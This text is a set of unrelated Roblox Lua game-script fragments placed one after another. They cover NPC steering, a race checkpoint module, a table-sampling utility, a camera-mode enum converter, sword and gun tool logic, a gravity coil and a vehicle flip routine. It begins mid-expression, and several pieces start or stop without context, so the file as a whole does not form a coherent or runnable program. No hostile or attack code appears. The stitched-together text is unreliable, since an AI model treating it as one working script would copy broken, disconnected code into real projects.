(objs[8].Ammo - objs[7].Value) --Evt.Recarregar:FireServer(objs[5].Value) objs[7].Value = objs[8].Ammo end wait(0.55) end;
-- 1 - Look Right or Go left
if Logic == 1 then if Distance >= 1 then if ClimbingLadder == false then -- or target.Position.y < torsoPos.y + 4 then TurnRight() end -- else go straight or go up else TurnLeft() end if FireRayAhead() then -- Check straight first. (And Diagonaly left) TurnLeft() if FireRay() then -- Check left (And Diagonaly left & back) TurnLeft() if FireRay() then TurnLeft() if FireRay() then targpos = torsoPos + Vector3.new(Xdir,0,Zdir) hum.Jump = true end -- right end -- Back end -- Left else -- If succesful Ahead then... (We only check RightTurns for a get-out-of-jail-Free card) if Xdir == OldX and OldZ == Zdir then -- Gracefully exiting Logic 1 Logic = 0 end -- check Goal dir? end -- Ahead end -- Logic 1
-- ================================================================================ -- PUBLIC FUNCTIONS -- ================================================================================
function RaceModule:SetRacers(racerList) for i = 1, #racerList do addRacer(racerList[i]) end end -- RaceModule:SetRacers() function RaceModule:RegisterCheckpoint(checkpoint) if not checkpoints[checkpoint] then local newCheckpoint = Checkpoint.new(checkpoint, RaceModule) numCheckpoints = numCheckpoints + 1 checkpoints[checkpoint] = newCheckpoint end end -- RaceModule:RegisterCheckpoint() function RaceModule:PlayerCrossedCheckpoint(player, checkpoint) local racer = racers[player] if not racer or racer.FinishedRace then return end local currentLap = racer.CurrentLap CheckpointEvent:FireClient(player, {{"checkpointHit", checkpoint.CollisionBody}}) if not racer:HasStartedLap(currentLap) then racer:StartLap(currentLap) onLapStartedEvent:Fire(player, currentLap) end if racer:HasStartedLap(currentLap) then local alreadyPassed = checkpoint:SetPlayerPassed(player, currentLap) if not alreadyPassed then onCheckpointPassedEvent:Fire(checkpoint.CollisionBody) end end if hasPlayerFinishedLap(player, currentLap) then local lapTime = racer:FinishLap(currentLap) onLapFinishedEvent:Fire(player, currentLap, lapTime) if currentLap == numLaps then if not winner then winner = player end racer.FinishedRace = true onRaceFinishedEvent:Fire(winner) else wait() -- Let the last checkpoint temporarily change to hit color CheckpointEvent:FireClient(player, {{"newLap"}}) racer.CurrentLap = racer.CurrentLap + 1 end end end -- RaceModule:PlayerCrossedCheckpoint() function RaceModule:Start(activePlayers) if debugEnabled then print("RACEMODULE: Starting race") end winner = nil assert(numCheckpoints > 0, "No checkpoints registered") assert(startCheckpoint, "Start Checkpoint not set") assert(finishCheckpoint, "Finish Checkpoint not set") if debugEnabled then print("RACEMODULE: Checking if players set") end if #racers == 0 then RaceModule:SetRacers(activePlayers) end for _, checkpoint in pairs(checkpoints) do checkpoint:Reset() end onRaceStartedEvent:Fire() local raceOver = false local finishedConnection finishedConnection = RaceModule.RaceFinished:connect(function() raceOver = true racers = {} finishedConnection:disconnect() end) spawn(function() wait(raceDuration) if not raceOver then onRaceFinishedEvent:Fire(winner) end end) end -- RaceModule:Start()
--[=[ @within TableUtil @function Sample @param tbl table @param sampleSize number @param rngOverride Random? @return table Returns a random sample of the table. ```lua local t = {1, 2, 3, 4, 5, 6, 7, 8, 9} local sample = TableUtil.Sample(t, 3) print(sample) --> e.g. {6, 2, 5} ``` :::note Arrays only This function works on arrays, but not dictionaries. ]=]
local function Sample<T>(tbl: { T }, size: number, rngOverride: Random?): { T } assert(type(tbl) == "table", "First argument must be a table") assert(type(size) == "number", "Second argument must be a number") local shuffled = table.clone(tbl) local sample = table.create(size) local random = if typeof(rngOverride) == "Random" then rngOverride else rng local len = #tbl size = math.clamp(size, 1, len) for i = 1, size do local j = random:NextInteger(i, len) shuffled[i], shuffled[j] = shuffled[j], shuffled[i] end table.move(shuffled, 1, size, 1, sample) return sample end
-- This function converts 4 different, redundant enumeration types to one standard so the values can be compared
function CameraUtils.ConvertCameraModeEnumToStandard( enumValue ) if enumValue == Enum.TouchCameraMovementMode.Default then return Enum.ComputerCameraMovementMode.Follow end if enumValue == Enum.ComputerCameraMovementMode.Default then return Enum.ComputerCameraMovementMode.Classic end if enumValue == Enum.TouchCameraMovementMode.Classic or enumValue == Enum.DevTouchCameraMovementMode.Classic or enumValue == Enum.DevComputerCameraMovementMode.Classic or enumValue == Enum.ComputerCameraMovementMode.Classic then return Enum.ComputerCameraMovementMode.Classic end if enumValue == Enum.TouchCameraMovementMode.Follow or enumValue == Enum.DevTouchCameraMovementMode.Follow or enumValue == Enum.DevComputerCameraMovementMode.Follow or enumValue == Enum.ComputerCameraMovementMode.Follow then return Enum.ComputerCameraMovementMode.Follow end if enumValue == Enum.TouchCameraMovementMode.Orbital or enumValue == Enum.DevTouchCameraMovementMode.Orbital or enumValue == Enum.DevComputerCameraMovementMode.Orbital or enumValue == Enum.ComputerCameraMovementMode.Orbital then return Enum.ComputerCameraMovementMode.Orbital end -- Note: Only the Dev versions of the Enums have UserChoice as an option if enumValue == Enum.DevTouchCameraMovementMode.UserChoice or enumValue == Enum.DevComputerCameraMovementMode.UserChoice then return Enum.DevComputerCameraMovementMode.UserChoice end -- For any unmapped options return Classic camera return Enum.ComputerCameraMovementMode.Classic end return CameraUtils
-- Returns topmost ancestor in hierarchy descending from points folder
local function getTopAncestor(part) local prevParent = part local parent = part.Parent while not parent:IsA("Folder") do prevParent = parent parent = parent.Parent end return prevParent end local function getPositionRelativetoBase(part, pos) local basePlate = workspace:FindFirstChild("Baseplate") local basePosition = basePlate:GetChildren()[1].Position local baseSize = basePlate:GetChildren()[1].Size local posY = pos.Y local basePosY = basePosition.Y local baseSizeY = baseSize.Y return Vector3.new(pos.X, (basePosY + baseSizeY/2) + part.Size.Y/2, pos.Z) end local function breakModel(model) local children = model:GetChildren() for i,child in pairs(children) do -- Make part/model non-collidable if child:IsA("Model") then breakModel(child) elseif child:IsA("Part") then child.CanCollide = false end end end
-- ndAnim:Play()
--wait(2) --end hum.Sit = false if newBAV ~= nil then newBAV:remove() end if newBP ~= nil then newBP:remove() end if newBV ~= nil then newBV:remove() end if newBG ~= nil then newBG.cframe = CFrame.new(torsoPosition, target*Vector3.new(1,0,1) + Vector3.new(0, torsoPosition.Y, 0) ) end if newBG ~= nil then newBG.maxTorque = Vector3.new(newBG.P, newBG.P, newBG.P) end spinSound:Stop() wait(.25) if newBG ~= nil then newBG:remove() end end local lastKeyDown = 0 local dashTime = 0 local lastSlash = 0 local amAnimating = false function onActivated() vChar = Tool.Parent if vChar == nil then return end hum = vChar:FindFirstChild("Humanoid") if hum == nil then return end --if not Tool.Enabled then return end if amAnimating then return end Tool.Enabled = false amAnimating = true torso = vChar:FindFirstChild("Torso") if torso == nil then Tool.Enabled = true return end t = r.Stepped:wait() if t - dashTime < .2 then -- dash attack dashIt(hum, torso) wait(.5) -- reload time amAnimating = false elseif t - lastSlash < .2 then -- slash attack slashIt(hum, torso) --wait(1) amAnimating = false --wait(.5) -- reload time else -- normal attack whackSound:Play() lastSlash = t amAnimating = false -- here must be before the wait, to allow for double-clix wait(.5) end if not amAnimating then Tool.Enabled = true end end local keyConnection = nil function onKeyDown(key) if key:lower() == "w" then t = r.Stepped:wait() if (t - lastKeyDown < .2) then dashTime = t end lastKeyDown = t end end function onEquippedLocal(mouse) slashSound.Volume = 1 spinSound.Volume = 1 whackSound.Volume = 1 keyConnection = mouse.KeyDown:connect(onKeyDown) end function onUnequippedLocal() if keyConnection ~= nil then keyConnection:disconnect() end if newBV ~= nil then newBV:remove() end if newBG ~= nil then newBG:remove() end if newBAV ~= nil then newBAV:remove() end if newBP ~= nil then newBP:remove() end slashSound.Volume = 0 spinSound.Volume = 0 whackSound.Volume = 0 end Tool.Equipped:connect(onEquippedLocal) Tool.Unequipped:connect(onUnequippedLocal) Tool.Activated:connect(onActivated)
--// Services
local L_109_ = game:GetService('RunService').RenderStepped local L_110_ = game:GetService('UserInputService')
-- local Defaults = GuiLib:WaitForChild("Defaults")
local UIS = game:GetService("UserInputService") local RUNSERVICE = game:GetService("RunService")
-- // Main loop
for key, object in pairs(script:GetDescendants()) do if not object:IsA("Folder") then table.insert(assets, object) end end
--The ignore list will fill up over time. This is how many seconds it will go before --being refreshed in order to keep it from filling up with instances that aren't in --the datamodel anymore.
local IGNORE_LIST_LIFETIME = 5 local MAX_BULLET_TIME = 10 local localRandom = Random.new() local localPlayer = not IsServer and Players.LocalPlayer local BulletWeapon = {} BulletWeapon.__index = BulletWeapon setmetatable(BulletWeapon, BaseWeapon) BulletWeapon.CanAimDownSights = true BulletWeapon.CanBeFired = true BulletWeapon.CanBeReloaded = true BulletWeapon.CanHit = true function BulletWeapon.new(weaponsSystem, instance) local self = BaseWeapon.new(weaponsSystem, instance) setmetatable(self, BulletWeapon) self.usesCharging = false self.charge = 0 self.chargeSoundPitchMin = 0.5 self.chargeSoundPitchMax = 1 self.triggerDisconnected = false self.startupFinished = false -- TODO: make startup time use a configuration value self.burstFiring = false self.burstIdx = 0 self.nextFireTime = 0 self.recoilIntensity = 0 self.aimPoint = Vector3.new() self:addOptionalDescendant("tipAttach", "TipAttachment") self:addOptionalDescendant("boltMotor", "BoltMotor") self:addOptionalDescendant("boltMotorStart", "BoltMotorStart") self:addOptionalDescendant("boltMotorTarget", "BoltMotorTarget") self:addOptionalDescendant("chargeGlowPart", "ChargeGlow") self:addOptionalDescendant("chargeCompleteParticles", "ChargeCompleteParticles") self:addOptionalDescendant("dischargeCompleteParticles", "DischargeCompleteParticles") self:addOptionalDescendant("muzzleFlash0", "MuzzleFlash0") self:addOptionalDescendant("muzzleFlash1", "MuzzleFlash1") self:addOptionalDescendant("muzzleFlashBeam", "MuzzleFlash") self.hitMarkTemplate = HitMarksFolder:FindFirstChild(self:getConfigValue("HitMarkEffect", "BulletHole")) self.casingTemplate = CasingsFolder:FindFirstChild(self:getConfigValue("CasingEffect", "")) self:addOptionalDescendant("casingEjectPoint", "CasingEjectPoint") self.ignoreList = {} self.ignoreListRefreshTime = 0 self:addOptionalDescendant("handAttach", "LeftHandAttachment") self.handAlignPos = nil self.handAlignRot = nil self.chargingParticles = {} self.instance.DescendantAdded:Connect(function(descendant) if descendant.Name == "ChargingParticles" and descendant:IsA("ParticleEmitter") then table.insert(self.chargingParticles, descendant) end end) for _, v in pairs(self.instance:GetDescendants()) do if v.Name == "ChargingParticles" and v:IsA("ParticleEmitter") then table.insert(self.chargingParticles, v) end end self:doInitialSetup() return self end function BulletWeapon:onEquippedChanged() BaseWeapon.onEquippedChanged(self) if not IsServer then if self.weaponsSystem.camera then if self.equipped then self.startupFinished = false end end if self.equipped then ContextActionService:BindAction("ReloadWeapon", function(...) self:onReloadAction(...) end, false, Enum.KeyCode.R, Enum.KeyCode.ButtonX) else ContextActionService:UnbindAction("ReloadWeapon") -- Stop charging/discharging sounds local chargingSound = self:getSound("Charging") local dischargingSound = self:getSound("Discharging") if chargingSound and chargingSound.Playing then chargingSound:Stop() end if dischargingSound and dischargingSound.Playing then dischargingSound:Stop() end end self.triggerDisconnected = false end end function BulletWeapon:onReloadAction(actionName, inputState, inputObj) if inputState == Enum.UserInputState.Begin and not self.reloading then self:reload() end end function BulletWeapon:animateBoltAction(isOpen) if not self.boltMotor or not self.boltMotorStart or not self.boltMotorTarget then return end if isOpen then self:tryPlaySound("BoltOpenSound") else self:tryPlaySound("BoltCloseSound") end local actionMoveTime = isOpen and self:getConfigValue("ActionOpenTime", 0.025) or self:getConfigValue("ActionCloseTime", 0.075) local targetCFrame = isOpen and self.boltMotorTarget.CFrame or self.boltMotorStart.CFrame local boltTween = TweenService:Create(self.boltMotor, TweenInfo.new(actionMoveTime, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut), { C0 = targetCFrame }) boltTween:Play() boltTween.Completed:Wait() end function BulletWeapon:getRandomSeedForId(id) return id end
--model by CatLeoYT script--
Tool = script.Parent Handle = Tool:WaitForChild("Handle") Players = game:GetService("Players") Sounds = { CoilSound = Handle:WaitForChild("CoilSound"), } Gravity = 196.20 JumpHeightPercentage = 0.4 ToolEquipped = false function GetAllConnectedParts(Object) local Parts = {} local function GetConnectedParts(Object) for i, v in pairs(Object:GetConnectedParts()) do local Ignore = false for ii, vv in pairs(Parts) do if v == vv then Ignore = true end end if not Ignore then table.insert(Parts, v) GetConnectedParts(v) end end end GetConnectedParts(Object) return Parts end function SetGravityEffect() if not GravityEffect or not GravityEffect.Parent then GravityEffect = Instance.new("BodyForce") GravityEffect.Name = "GravityCoilEffect" GravityEffect.Parent = Torso end local TotalMass = 0 local ConnectedParts = GetAllConnectedParts(Torso) for i, v in pairs(ConnectedParts) do if v:IsA("BasePart") then TotalMass = (TotalMass + v:GetMass()) end end local TotalMass = (TotalMass * 196.20 * (1 - JumpHeightPercentage)) GravityEffect.force = Vector3.new(0, TotalMass, 0) end function HandleGravityEffect(Enabled) if not CheckIfAlive() then return end for i, v in pairs(Torso:GetChildren()) do if v:IsA("BodyForce") then v:Destroy() end end for i, v in pairs({ToolUnequipped, DescendantAdded, DescendantRemoving}) do if v then v:disconnect() end end if Enabled then CurrentlyEquipped = true ToolUnequipped = Tool.Unequipped:connect(function() CurrentlyEquipped = false end) SetGravityEffect() DescendantAdded = Character.DescendantAdded:connect(function() wait() if not CurrentlyEquipped or not CheckIfAlive() then return end SetGravityEffect() end) DescendantRemoving = Character.DescendantRemoving:connect(function() wait() if not CurrentlyEquipped or not CheckIfAlive() then return end SetGravityEffect() end) end end function CheckIfAlive() return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent and Player and Player.Parent) and true) or false) end function Equipped(Mouse) Character = Tool.Parent Humanoid = Character:FindFirstChild("Humanoid") Torso = Character:FindFirstChild("Torso") or Character:FindFirstChild("UpperTorso") Player = Players:GetPlayerFromCharacter(Character) if not CheckIfAlive() then return end if HumanoidDied then HumanoidDied:disconnect() end HumanoidDied = Humanoid.Died:connect(function() if GravityEffect and GravityEffect.Parent then GravityEffect:Destroy() end end) Sounds.CoilSound:Play() HandleGravityEffect(true) ToolEquipped = true end function Unequipped() if HumanoidDied then HumanoidDied:disconnect() end HandleGravityEffect(false) ToolEquipped = false end Tool.Equipped:connect(Equipped) Tool.Unequipped:connect(Unequipped)
--[[Flip]]
function Flip() --Detect Orientation if (car.DriveSeat.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector.y > .1 or FlipDB then FlipWait=tick() --Apply Flip else if tick()-FlipWait>=3 then FlipDB=true local gyro = car.DriveSeat.Flip gyro.maxTorque = Vector3.new(10000,0,10000) gyro.P=3000 gyro.D=500 wait(1) gyro.maxTorque = Vector3.new(0,0,0) gyro.P=0 gyro.D=0 FlipDB=false end end end